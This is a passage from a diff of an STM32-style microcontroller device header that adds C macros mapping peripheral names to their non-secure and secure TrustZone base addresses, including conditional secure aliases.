+#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP2_NS ((OPAMP_TypeDef *) OPAMP2_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP2_NS ((COMP_TypeDef *) COMP2_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_SRAM5_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_NS) +#define RAMCFG_SRAM6_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM6_BASE_NS) +#define JPEG_NS ((JPEG_TypeDef *) JPEG_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define DMA2D_NS ((DMA2D_TypeDef *) DMA2D_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define DCACHE2_NS ((DCACHE_TypeDef *) DCACHE2_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GTZC_MPCBB5_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_NS) +#define GTZC_MPCBB6_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB6_BASE_NS) +#define GFXMMU_NS ((GFXMMU_TypeDef *) GFXMMU_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define GPIOJ_NS ((GPIO_TypeDef *) GPIOJ_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_OTG_HS_NS ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_NS) +#define AES_NS ((AES_TypeDef *) AES_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SAES_NS ((AES_TypeDef *) SAES_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) +#define OTFDEC1_NS ((OTFDEC_TypeDef *) OTFDEC1_BASE_NS) +#define OTFDEC1_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_NS) +#define OTFDEC1_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_NS) +#define OTFDEC1_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_NS) +#define OTFDEC1_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_NS) +#define OTFDEC2_NS ((OTFDEC_TypeDef *) OTFDEC2_BASE_NS) +#define OTFDEC2_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION1_BASE_NS) +#define OTFDEC2_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION2_BASE_NS) +#define OTFDEC2_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION3_BASE_NS) +#define OTFDEC2_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION4_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define DLYB_OCTOSPI2_NS ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_NS) +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define OCTOSPIM_NS ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define OCTOSPI2_NS ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_NS) +#define HSPI1_NS ((HSPI_TypeDef *) HSPI1_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART2_S ((USART_TypeDef *) USART2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define USART6_S ((USART_TypeDef *) USART6_BASE_S) +#define I2C5_S ((I2C_TypeDef *) I2C5_BASE_S) +#define I2C6_S ((I2C_TypeDef *) I2C6_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *) UCPD1_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) +#define LTDC_S ((LTDC_TypeDef *) LTDC_BASE_S) +#define LTDC_Layer1_S ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_S) +#define LTDC_Layer2_S ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_S) +#define DSI_S ((DSI_TypeDef *) DSI_BASE_S) +#define REFBIAS_S ((REFBIAS_TypeDef *) REFBIAS_BASE_S) +#define DPHY_S ((DPHY_TypeDef *) DPHY_BASE_S) +#define GFXTIM_S ((GFXTIM_TypeDef *) GFXTIM_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP2_S ((OPAMP_TypeDef *) OPAMP2_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP2_S ((COMP_TypeDef *) COMP2_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_SRAM5_S ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_S) +#define RAMCFG_SRAM6_S ((RAMCFG_TypeDef *) RAMCFG_SRAM6_BASE_S) +#define JPEG_S ((JPEG_TypeDef *) JPEG_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define DMA2D_S ((DMA2D_TypeDef *) DMA2D_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define DCACHE2_S ((DCACHE_TypeDef *) DCACHE2_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GTZC_MPCBB5_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_S) +#define GTZC_MPCBB6_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB6_BASE_S) +#define GFXMMU_S ((GFXMMU_TypeDef *) GFXMMU_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define GPIOJ_S ((GPIO_TypeDef *) GPIOJ_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_OTG_HS_S ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_S) +#define AES_S ((AES_TypeDef *) AES_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SAES_S ((AES_TypeDef *) SAES_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) +#define OTFDEC1_S ((OTFDEC_TypeDef *) OTFDEC1_BASE_S) +#define OTFDEC1_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_S) +#define OTFDEC1_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_S) +#define OTFDEC1_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_S) +#define OTFDEC1_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_S) +#define OTFDEC2_S ((OTFDEC_TypeDef *) OTFDEC2_BASE_S) +#define OTFDEC2_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION1_BASE_S) +#define OTFDEC2_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION2_BASE_S) +#define OTFDEC2_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION3_BASE_S) +#define OTFDEC2_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION4_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define DLYB_OCTOSPI2_S ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_S) +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define OCTOSPIM_S ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define OCTOSPI2_S ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_S) +#define HSPI1_S ((HSPI_TypeDef *) HSPI1_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define SRAM5_BASE SRAM5_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define SRAM6_BASE SRAM6_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + 